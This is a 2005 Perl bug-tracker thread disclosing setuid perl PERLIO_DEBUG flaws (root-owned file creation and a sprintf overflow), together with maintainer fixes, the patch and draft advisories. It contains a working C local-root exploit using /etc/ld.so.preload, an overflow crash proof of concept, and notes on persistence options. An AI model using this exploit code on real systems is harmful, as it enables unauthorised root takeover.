Perl / perl5

🐪 The Perl programming language
https://dev.perl.org/perl5/
Other
1.91k stars 542 forks source link

setuid perl security issues #7777

Closed p5pRT closed 19 years ago

p5pRT commented 19 years ago

Migrated from rt.perl.org#33990 (status was 'resolved')

Searchable as RT33990$

p5pRT commented 19 years ago

From kf_lists@digitalmunition.com

PERLIO_DEBUG If set to the name of a file or device then certain operations of PerlIO sub-system will be logged to that file (opened as append). Typical uses are UNIX​:

./perlio.c​:
void PerlIO_debug(const char *fmt\, ...) { ...   if (!dbg) {   char *s = PerlEnv_getenv("PERLIO_DEBUG");   if (s && *s)   dbg = PerlLIO_open3(s\, O_WRONLY | O_CREAT | O_APPEND\, 0666);   else   dbg = -1;   }

If $ENV{'PERLIO_DEBUG'} is not set PerlIO_debug() is a no-op.

else you can do the following either via sperl or vial sperl​:

sperl​: kfinisterre@​jdam​:\~$ ls -al /usr/bin/sperl5.8.4 -rwsr-xr-x 1 root root 63808 2004-12-11 18​:32 /usr/bin/sperl5.8.4 kfinisterre@​jdam​:\~$ export PERLIO_DEBUG=/tmp/aaa kfinisterre@​jdam​:\~$ umask 001 kfinisterre@​jdam​:\~$ /usr/bin/sperl5.8.4 sperl needs fd script You should not call sperl directly; do you need to change a #! line from sperl to perl? kfinisterre@​jdam​:\~$ ls -al /tmp/aaa -rw-rw-rw- 1 root kfinisterre 1403 2005-01-30 02​:34 /tmp/aaa

setuid wrapper​: kfinisterre@​jdam​:/tmp$ ls -al /usr/sbin/mooix-pty-helper /usr/sbin/mooregister /usr/sbin/moopasswd -rwsr-xr-x 1 root root 2872 2003-11-20 15​:28/usr/sbin/mooix-pty-helperc -rwsr-xr-x 1 root root 2832 2003-11-20 15​:28 /usr/sbin/moopasswd -rwsr-xr-x 1 root root 2836 2003-11-20 15​:28 /usr/sbin/mooregister

These are all setuid programs that invoke perl scripts.

/usr/share/mooix/mooix-pty-helper.pl /usr/share/mooix/moopasswd.pl /usr/share/mooix/mooregister.pl

kfinisterre@​jdam​:/tmp$ umask 001 kfinisterre@​jdam​:/tmp$ export PERLIO_DEBUG=/tmp/oops2 kfinisterre@​jdam​:/tmp$ /usr/sbin/mooix-pty-helper need a session dir at /usr/share/mooix/mooix-pty-helper.pl line 22\, \ line 98. kfinisterre@​jdam​:/tmp$ ls -al /tmp/oops2 -rw-rw-rw- 1 root kfinisterre 30285 2005-01-30 02​:23 /tmp/oops2

kfinisterre@​jdam​:/tmp$ tail /tmp/oops2 -n 3 /usr/share/mooix/mooix-pty-helper.pl​:0 fd 0 refcnt=0 /usr/share/mooix/mooix-pty-helper.pl​:0 fd 1 refcnt=0 /usr/share/mooix/mooix-pty-helper.pl​:0 fd 2 refcnt=0

kfinisterre@​jdam​:/tmp$ echo + + > /tmp/oops2

hrmmm... kfinisterre@​jdam​:\~$ ls -al /etc/ld.so.preload ls​: /etc/ld.so.preload​: No such file or directory

gonna try to write an ld.so.preload exploit without trashing my box. hehe. fun time.

p5pRT commented 19 years ago

From kf_lists@digitalmunition.com

While looking at the source code to figure out what the details of my PERLIO_DEBUG file overwrite bug I also found a buffer overflow...

in perlio.c​:

  if (dbg > 0) {   dTHX; #ifdef USE_ITHREADS   /* Use fixed buffer as sv_catpvf etc. needs SVs */   char buffer[1024];   char *s;   STRLEN len;   s = CopFILE(PL_curcop);   if (!s)   s = "(none)";   sprintf(buffer\, "%s​:%" IVdf " "\, s\, (IV) CopLINE(PL_curcop));

Set PERLIO_DEBUG to anything

make a perl script calling sperl and run it with the full path (after placing it in a long ass directory)

#!/usr/bin/sperl5.8.4 print a;

kfinisterre@​jdam​:/tmp$ /tmp/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/test.pl Segmentation fault

stat64("/usr/local/share/perl/5.8.0"\, 0xbfffd880) = -1 ENOENT (No such file or directory) ** eip[40175563] eax[ffffffda] ecx[00008441] edx[000001b6] ebx[080677ad] esp[bfffd294] ebp[bfffd2a8] esi[00008441] edi[40177d00] open("/tmp/lala"\, O_WRONLY|O_APPEND|O_CREAT|O_LARGEFILE\, 0666) = 3 ** eip[4021898a] eax[00000000] ecx[08054e04] edx[bfffcd9c] ebx[402e95e0] esp[bfffcbc8] ebp[bfffcbe0] esi[41414141] edi[bfffcd9c] --- SIGSEGV (Segmentation fault) @​ 0 (0) --- upeek​: ptrace(PTRACE_PEEKUSER\,2970\,48\,0)​: No such process

p5pRT commented 19 years ago

From @rgs

KF (Lists) wrote​:

PERLIO_DEBUG If set to the name of a file or device then certain operations of PerlIO sub-system will be logged to that file (opened as append). Typical uses are UNIX​: ... else you can do the following either via sperl or vial sperl​: ...

I fixed the local root exploit by disabling PERLIO_DEBUG in sperl (change #23903) and the buffer overflow (change #23904) in bleadperl.

-- --No\, Stephen said. I call it "A Pisgah Sight of Palestine or the Parable   of the Plums". --I see\, the professor said.   -- Ulysses

p5pRT commented 19 years ago

The RT System itself - Status changed from 'new' to 'open'

p5pRT commented 19 years ago

From @rgs

Rafael Garcia-Suarez wrote​:

KF (Lists) wrote​:

PERLIO_DEBUG If set to the name of a file or device then certain operations of PerlIO sub-system will be logged to that file (opened as append). Typical uses are UNIX​: ... else you can do the following either via sperl or vial sperl​: ...

I fixed the local root exploit by disabling PERLIO_DEBUG in sperl (change #23903)

hold on\, it's not properly fixed now.

p5pRT commented 19 years ago

From @rgs

Rafael Garcia-Suarez wrote​:

Rafael Garcia-Suarez wrote​:

KF (Lists) wrote​:

PERLIO_DEBUG If set to the name of a file or device then certain operations of PerlIO sub-system will be logged to that file (opened as append). Typical uses are UNIX​: ... else you can do the following either via sperl or vial sperl​: ...

I fixed the local root exploit by disabling PERLIO_DEBUG in sperl (change #23903)

hold on\, it's not properly fixed now.

It's now : Change 23907 on 2005/01/31 by rgs@​grubert

  Document the changes to PERLIO_DEBUG.

Change 23906 on 2005/01/31 by rgs@​grubert

  Really fix the bug [perl #33990].   NB. -DIAMSUID is only set to compile sperl.o.

p5pRT commented 19 years ago

@rgs - Status changed from 'open' to 'resolved'

p5pRT commented 19 years ago

From kf_lists@digitalmunition.com

Much thanks on the quick response and fix. Attached are the PoC for each condition incase you were wondering how exploitable this *was*.

Do you have any idea what the span of this bug is (like what versions are affected)? Will there be a new release or perl announcement about this bug(s)?

And finally\, was this actually the buggy line of code for the overflow or was it elsewhere?

in perlio.c​:

  if (dbg > 0) {   dTHX; #ifdef USE_ITHREADS   /* Use fixed buffer as sv_catpvf etc. needs SVs */   char buffer[1024];   char *s;   STRLEN len;   s = CopFILE(PL_curcop);   if (!s)   s = "(none)";   sprintf(buffer\, "%s​:%" IVdf " "\, s\, (IV) CopLINE(PL_curcop));

Thanks for your time.

-KF

According to our records\, your request regarding "setuid perl security issues" has been resolved.

If you have any further questions or concerns\, please respond to this message.

For other topics\, please create a new ticket.

Please don't feel obligated to say "Thanks" or "Kudos" or "I owe you a beer" -- if you respond to this message it will reopen the ticket. If you must\, please send email directly to the person who handled your ticket\, and not to the tracking system.

\<URL​: https://rt-archive.perl.org/perl5/Ticket/Display.html?id=33990 >

p5pRT commented 19 years ago

From kf_lists@digitalmunition.com

/*
 * Copyright Kevin Finisterre 
 * 
 * ** DISCLAIMER ** I am in no way responsible for your stupidity.
 * ** DISCLAIMER ** I am in no way liable for any damages caused by compilation and or execution of this code.
 *
 * ** WARNING ** DO NOT RUN THIS UNLESS YOU KNOW WHAT YOU ARE DOING ***
 * ** WARNING ** overwriting /etc/ld.so.preload can severly fuck up your box (or someone elses).
 * ** WARNING ** have a boot disk ready incase some thing goes wrong.
 *
 * Setuid Perl exploit by KF - kf_lists[at]secnetops[dot]com - 1/30/05
 *
 * this exploits a vulnerability in the PERLIO_DEBUG functionality
 * tested against sperl5.8.4 on Debian
 *
 * kfinisterre@jdam:~$ cc -o ex_perl ex_perl.c
 * kfinisterre@jdam:~$ ls -al /etc/ld.so.preload
 * ls: /etc/ld.so.preload: No such file or directory
 * kfinisterre@jdam:~$ ./ex_perl
 * sperl needs fd script
 * You should not call sperl directly; do you need to change a #! line
 * from sperl to perl?
 * kfinisterre@jdam:~$ su -
 * jdam:~# id
 * uid=0(root) gid=0(root) groups=0(root)
 * jdam:~# rm /etc/ld.so.preload
 *
 */

#define PRELOAD "/etc/ld.so.preload"
#include <stdio.h>
#include <strings.h>

int main(int *argc, char **argv)
{

        FILE *getuid;
        if(!(getuid = fopen("/tmp/getuid.c","w+"))) {
                printf("error opening file\n");
                exit(1);
        }

    fprintf(getuid, "int getuid(){return 0;}\n" );
        fclose(getuid);

        system("cc -fPIC -Wall -g -O2 -shared -o /tmp/getuid.so /tmp/getuid.c -lc");

    putenv("PERLIO_DEBUG="PRELOAD);
        umask(001); // I'm rw-rw-rw james bitch!
        system("/usr/bin/sperl5.8.4");
        FILE *ld_so_preload;

        char preload[] = {
                "/tmp/getuid.so\n"
        };

        if(!(ld_so_preload = fopen(PRELOAD,"w+"))) {
                printf("error opening file\n");
                exit(1);
        }
        fwrite(preload,sizeof(preload)-1,1,ld_so_preload);
        fclose(ld_so_preload);
}
p5pRT commented 19 years ago

From kf_lists@digitalmunition.com

/*
 * Copyright Kevin Finisterre
 *
 * Setuid perl PerlIO_Debug() overflow
 *
 * cc -o ex_perl2 ex_perl2.c -std=c99
 * 
 * Not complete yet...
 */

#include <stdlib.h>
#include <stdio.h>
#include <strings.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>

int main(int *argc, char **argv)
{
    int count = 5;
    char malpath[10000];
    char tmp[256];
    char *filler;
    chdir("/tmp/");

    filler = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/";

    for (int x=0; x<3; x=x+1)
    {
        mkdir(filler, 0777);
        chdir(filler);
        count = count + 256;        
    }

        memset(tmp,0x42,201);
    count = count + 201;
    strcat(tmp, "/");
    mkdir(tmp, 0777);
    chdir(tmp);

    printf ("Dirlen: %d\n", count); 

    FILE *perlsploit;
    char perldummyfile[] = {
                "#!/usr/bin/sperl5.8.4\n"
                "# \n"
                "# Be proud that perl(1) may proclaim: \n"
                "#   Setuid Perl scripts are safer than C programs ...\n"
                "# Do not abandon (deprecate) suidperl. Do not advocate C wrappers. \n"
        };

        if(!(perlsploit = fopen("take_me.pl","w+"))) {
                printf("error opening file\n");
                exit(1);
        }
        fwrite(perldummyfile,sizeof(perldummyfile)-1,1,perlsploit);
        fclose(perlsploit);

    getcwd(malpath, 10000);
    strcat(malpath, "/");
    strcat(malpath, "take_me.pl");
    printf("running: %s\n",malpath);

    chmod(malpath,0755);

    putenv("PERLIO_DEBUG=/tmp/ninjitsu");
    system(malpath);
}
p5pRT commented 19 years ago

From @rgs

KF (lists) wrote​:

Much thanks on the quick response and fix. Attached are the PoC for each condition incase you were wondering how exploitable this *was*.

Do you have any idea what the span of this bug is (like what versions are affected)?

I'd say every release since we have PerlIO\, e.g. every 5.8.x for x in 0..6.

Will there be a new release or perl announcement about this bug(s)?

That's to be appreciated by the maint pumpking.

Vendors are of course encouraged to grab those patches.

A new package of perl for mandrakelinux is already on its way to the mirrors\, and an security advisory accordingly on BugTraq.

And finally\, was this actually the buggy line of code for the overflow or was it elsewhere?

Yes. Actually only threaded perls were affected.

p5pRT commented 19 years ago

From @nwc10

On Mon\, Jan 31\, 2005 at 04​:42​:59PM +0100\, Rafael Garcia-Suarez wrote​:

KF (lists) wrote​:

Much thanks on the quick response and fix. Attached are the PoC for each condition incase you were wondering how exploitable this *was*.

Do you have any idea what the span of this bug is (like what versions are affected)?

I'd say every release since we have PerlIO\, e.g. every 5.8.x for x in 0..6.

Will there be a new release or perl announcement about this bug(s)?

That's to be appreciated by the maint pumpking.

Who was already planning to start the 5.8.7 release process at the end of February. It's proved tricky in the past to make full releases "rapidly" without fear of introducing new bugs and making things worse.

Vendors are of course encouraged to grab those patches.

This seems to be the best way. We probably should wrap up all 3 patches into one single "this is what you need" patch. Historically\, I'm not sure if there is a precedent on where anything like this has been announced. Have patches\, or the URLs of patches previously been sent as replies to messages detailing exploits on lists such as bugtraq?

A new package of perl for mandrakelinux is already on its way to the mirrors\, and an security advisory accordingly on BugTraq.

Nicholas Clark

p5pRT commented 19 years ago

From @rgs

Nicholas Clark wrote​:

Vendors are of course encouraged to grab those patches.

This seems to be the best way. We probably should wrap up all 3 patches into one single "this is what you need" patch. Historically\, I'm not sure if there is a precedent on where anything like this has been announced. Have patches\, or the URLs of patches previously been sent as replies to messages detailing exploits on lists such as bugtraq?

Here's the single patch corresponding to my various commits in bleadperl :

http​://cvs.mandrakesoft.com/cgi-bin/cvsweb.cgi/~checkout~/SPECS/perl/perl-5.8.6-bug33990.patch?rev=1.1&content-type=text/plain

-- Good Lord\, that poor child's dress is in flitters. Underfed she looks too. Potatoes and marge\, marge and potatoes. It's after they feel it. Proof of the pudding. Undermines the constitution.   -- Ulysses

p5pRT commented 19 years ago

From kf_lists@digitalmunition.com

Rafael Garcia-Suarez via RT wrote​:

A new package of perl for mandrakelinux is already on its way to the mirrors\, and an security advisory accordingly on BugTraq.

Great... do you folks have a problem with me releaseing an advisory at this time? If necessary I can wait a few days and or coordinate it with your bugtraq post. -KF

p5pRT commented 19 years ago

From kf_lists@digitalmunition.com

This seems to be the best way. We probably should wrap up all 3 patches into one single "this is what you need" patch. Historically\, I'm not sure if there is a precedent on where anything like this has been announced. Have patches\, or the URLs of patches previously been sent as replies to messages detailing exploits on lists such as bugtraq?

There are currently NO posts on bugtraq for this issue. I notified vendor-sec (private list) at the same time I notified you folks and I only provided the detail to trigger the bug. No actual exploit was posted to vendor-sec nor any fix information etc. (I actually don't even have the links to the patches myself\, I was assuming I could extract it from perlbug but I got perm denied via the guest web access)

I had planned to do a bugtraq / full-disclosure release pretty much after you folks had a chance to get things fixed.

In the past I have done simultaneous posts to bugtraq *with* a vendor. I have also had some vendors ask that I post first and they they can follow up with they own information. I am willing to be flexible in regards to your needs so just let me know which is preferable to you.

-KF

p5pRT commented 19 years ago

From kf_lists@digitalmunition.com

Great... let me know when you figure out how you want to procede with bugtraq posts et all. I am assuming that Mandrake will post on their own as well. If we want to coordinate with them that is ok with me too. My advisory is not yet typed up but that is usually only a matter of an hours worth of work.

Thanks much. -KF

Here's the single patch corresponding to my various commits in bleadperl :

http​://cvs.mandrakesoft.com/cgi-bin/cvsweb.cgi/~checkout~/SPECS/perl/perl-5.8.6-bug33990.patch?rev=1.1&content-type=text/plain

p5pRT commented 19 years ago

From kf_lists@digitalmunition.com

I am going to try to verify the patch fixes later tonight... I will let you know how that goes. Attached are my rough draft advisories... any news on how coordination should be handled?

Great... let me know when you figure out how you want to procede with bugtraq posts et all. I am assuming that Mandrake will post on their own as well. If we want to coordinate with them that is ok with me too. My advisory is not yet typed up but that is usually only a matter of an hours worth of work.

-KF

p5pRT commented 19 years ago

From kf_lists@digitalmunition.com

DMA[2005-0131a] - 'Setuid Perl PERLIO_DEBUG root owned file creation' Author​: Kevin Finisterre Vendor​: http​://dev.perl.org/ Product​: 'Perl 5.8.x - sperl' References​: (CAN-2005-0155) http​://www.digitalmunition.com/DMA[2005-0131a].txt http​://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0155 https://rt-archive.perl.org/perl5/Ticket/Display.html?id=33990 (guest/guest)

Description​: Perl is a stable\, cross platform programming language. It is used for mission critical projects in the public and private sectors and is widely used to program web applications of all needs.

In the July 18\, 2002 one of the highlights for Perl 5.8.0 was a 'New IO Implementation' called PerlIO. The new PerlIO implementation was described as both a portable stdio implementation (at the source code level) and a flexible new framework for richer I/O behaviours.

As an attacker I would definately say that PerlIO has some rich behavior. Two vulnerabilities were located in the PerlIO package that can allow an attacker to take root on a machine that makes use of setuid perl aka sperl. The first vulnerability will be outlined in this document\, and details on the second vulnerability will be explained in DMA[2005-0131b].

Perl provides debug access to PerlIO via an environment variable known as PERLIO_DEBUG. The perl documentaion tells us that if PERLIO_DEBUG is set to the name of a file or device then certain operations of PerlIO sub-system will be logged to that file in append mode. If the file does not exist then it will be created. This vulnerability really does not present itself unless perl is installed with setuid support on the machine in question. If setuid is enabled an attacker has the opportunity to arbitrarily create root owned files. With a little help from umask() files can be created with root ownership AND world writable permissions. This behavior can also be exploited via setuid helper or wrapper scripts that call perl scripts.

kfinisterre@​jdam​:\~$ ls -al /usr/bin/sperl5.8.4 -rwsr-xr-x 1 root root 63808 2004-12-11 18​:32 /usr/bin/sperl5.8.4 kfinisterre@​jdam​:\~$ export PERLIO_DEBUG=/tmp/aaa kfinisterre@​jdam​:\~$ umask 001 kfinisterre@​jdam​:\~$ /usr/bin/sperl5.8.4 sperl needs fd script You should not call sperl directly; do you need to change a #! line from sperl to perl? kfinisterre@​jdam​:\~$ ls -al /tmp/aaa -rw-rw-rw- 1 root kfinisterre 1403 2005-01-30 02​:34 /tmp/aaa

At this point the game is pretty much over. Since the file is world writable the attacker can add any content he or she desires to the file that was created. Charles Stevenson suggested that a file could be written to /etc/rc.d/init.d which would allow an attacker to control the machine upon a reboot. I considered a few alternatives like writing to roots crontab or making an sshd root authorized_key file as well as a few others. In my example exploit I took a more immediate and risky route by writing to /etc/ld.so.preload and providing a trojan.so that always returns 0 for getuid().

kfinisterre@​jdam​:\~$ cc -o ex_perl ex_perl.c kfinisterre@​jdam​:\~$ ls -al /etc/ld.so.preload ls​: /etc/ld.so.preload​: No such file or directory kfinisterre@​jdam​:\~$ ./ex_perl sperl needs fd script You should not call sperl directly; do you need to change a #! line from sperl to perl? kfinisterre@​jdam​:\~$ su - jdam​:\~# id uid=0(root) gid=0(root) groups=0(root) jdam​:\~# rm /etc/ld.so.preload

The following patch for this bug was provided by Mandrake care of the vendor-sec list. This patch also fixes the bug that is described in DMA[2005-0131b].

Index​: perlio.c

--- perlio.c (revision 4342) +++ perlio.c (revision 4346) @​@​ -454\,7 +454\,7 @​@​   va_list ap;   dSYS;   va_start(ap\, fmt); - if (!dbg) { + if (!dbg && !PL_tainting && PL_uid == PL_euid && PL_gid == PL_egid) {   char *s = PerlEnv_getenv("PERLIO_DEBUG");   if (s && *s)   dbg = PerlLIO_open3(s\, O_WRONLY | O_CREAT | O_APPEND\, 0666); @​@​ -471\,7 +471\,7 @​@​   s = CopFILE(PL_curcop);   if (!s)   s = "(none)"; - sprintf(buffer\, "%s​:%" IVdf " "\, s\, (IV) CopLINE(PL_curcop)); + sprintf(buffer\, "%.40s​:%" IVdf " "\, s\, (IV) CopLINE(PL_curcop));   len = strlen(buffer);   vsprintf(buffer+len\, fmt\, ap);   PerlLIO_write(dbg\, buffer\, strlen(buffer));

This is timeline associated with this bug.

01/30/2005 09​:29 AM - Mail to larry wall\, perlbug\, vendor-sec et all 01/31/2005 04​:25 AM - Rafael Garcia-Suarez disabed PERLIO_DEBUG in sperl 01/31/2005 08​:31 AM - perl #33990] [RESOLVED] 01/31/2005 11​:15 AM - perl-5.8.6-bug33990.patch passed on from Mandrake cvs

-KF

p5pRT commented 19 years ago

From kf_lists@digitalmunition.com

DMA[2005-0131b] - 'Setuid Perl PERLIO_DEBUG buffer overflow' Author​: Kevin Finisterre Vendor​: http​://dev.perl.org/ Product​: 'Perl 5.8.x - sperl' References​: (CAN-2005-0155) http​://www.digitalmunition.com/DMA[2005-0131b].txt http​://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0155 https://rt-archive.perl.org/perl5/Ticket/Display.html?id=33990 (guest/guest)

Description​: Perl is a stable\, cross platform programming language. It is used for mission critical projects in the public and private sectors and is widely used to program web applications of all needs.

In the July 18\, 2002 one of the highlights for Perl 5.8.0 was a 'New IO Implementation' called PerlIO. The new PerlIO implementation was described as both a portable stdio implementation (at the source code level) and a flexible new framework for richer I/O behaviours.

As an attacker I would definately say that PerlIO has some rich behavior. Two vulnerabilities were located in the PerlIO package that can allow an attacker to take root on a machine that makes use of setuid perl aka sperl. The first vulnerability was be outlined in DMA[2005-0131a]\, details on the second vulnerability will be explained below.

Perl provides debug access to PerlIO via an environment variable known as PERLIO_DEBUG. The perl documentaion tells us that if PERLIO_DEBUG is set to the name of a file or device then certain operations of PerlIO sub-system will be logged to that file in append mode. When the data is logged to the file specified by PERLIO_DEBUG the path of the perl script is also logged. If perl is called all by itself the path should show up as "-". If however the a perl script is run\, its full path then the entire path will be logged. The following sample run demonstrates the logging functionality.

kfinisterre@​kfinisterre01​:/tmp$ cat > test.pl #!/usr/bin/sperl5.8.4 print "test\n"; ^C kfinisterre@​kfinisterre01​:/tmp$ chmod +x test.pl kfinisterre@​kfinisterre01​:/tmp$ export PERLIO_DEBUG=/tmp/test kfinisterre@​kfinisterre01​:/tmp$ ./test.pl sperl needs fd script You should not call sperl directly; do you need to change a #! line from sperl to perl? kfinisterre@​kfinisterre01​:/tmp$ cat /tmp/test ./test.pl​:0 define unix 0x4013a5e0 ./test.pl​:0 define raw 0x4013a560 ./test.pl​:0 define perlio 0x4013a6e0 ./test.pl​:0 define stdio 0x4013a660 ./test.pl​:0 define crlf 0x4013a7e0 ./test.pl​:0 define mmap 0x4013a860 ./test.pl​:0 define utf8 0x4013a460 ./test.pl​:0 define pop 0x4013a3e0 ./test.pl​:0 define bytes 0x4013a4e0 ./test.pl​:0 unix => 0x4013a5e0 ./test.pl​:0 Pushing perlio ./test.pl​:0 perlio => 0x4013a6e0 ./test.pl​:0 Layer 1 is perlio ./test.pl​:0 openn(perlio\,'(null)'\,'Ir'\,0\,0\,0\,(nil)\,0\,(nil)) ...

The function responsible for logging the PerlIO data contains an unbounded call to sprintf() as you can see below.

in perlio.c​:

  if (dbg > 0) {   dTHX; #ifdef USE_ITHREADS   /* Use fixed buffer as sv_catpvf etc. needs SVs */   char buffer[1024];   char *s;   STRLEN len;   s = CopFILE(PL_curcop);   if (!s)   s = "(none)";   sprintf(buffer\, "%s​:%" IVdf " "\, s\, (IV) CopLINE(PL_curcop));

We can trigger this vulnerability by placing a perl script in a very long directory tree and simply executing it after we have defined PERLIO_DEBUG. ex_perl2.c simulates this behavior.

kfinisterre@​kfinisterre01​:\~$ cc -o ex_perl2 ex_perl2.c -std=c99 ex_perl2.c​: In function `main'​: ex_perl2.c​:67​: warning​: implicit declaration of function `putenv' kfinisterre@​kfinisterre01​:\~$ ltrace -f ./ex_perl2 __libc_start_main(0x8048654\, 1\, 0xbffff944\, 0x8048860\, 0x80488c0 \<unfinished ...> chdir("/tmp/")
mkdir("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...\, 0777) chdir("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...)
mkdir("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...\, 0777) chdir("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...) mkdir("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...\, 0777) chdir("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...) memset(0xbfffd0c0\, 'B'\, 201) strcat("BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"...\, "/")
mkdir("BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"...\, 0777) chdir("BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"...) printf("Dirlen​: %d\n"\, 974Dirlen​: 974) fopen("take_me.pl"\, "w+")
fwrite("#!/usr/bin/sperl5.8.4\n# \n# Be pr"...\, 186\, 1\, 0x8049d70)
fclose(0x8049d70) getcwd(0xbfffd1c0\, 10000) strcat("/tmp/AAAAAAAAAAAAAAAAAAAAAAAAAAA"...\, "/") strcat("/tmp/AAAAAAAAAAAAAAAAAAAAAAAAAAA"...\, "take_me.pl") printf("running​: %s\n"\, "/tmp/AAAAAAAAAAAAAAAAAAAAAAAAAAA"...) chmod("/tmp/AAAAAAAAAAAAAAAAAAAAAAAAAAA"...\, 0755)
putenv(0x8048bca\, 493\, 1\, 0x8049d70\, 0x752f2123) system("/tmp/AAAAAAAAAAAAAAAAAAAAAAAAAAA"... \<unfinished ...> ... Perl_croak(0x8057b68\, 0x8056480\, 0\, 0\, 1 \<unfinished ...> --- SIGSEGV (Segmentation fault) --- +++ killed by SIGSEGV +++

It appears as if this vulnerability could be exploited to gain root privileges on the machine in question. The PoC code currently only triggers the SEGV... the proper stack ninja has not yet been executed in order to take full blown root.

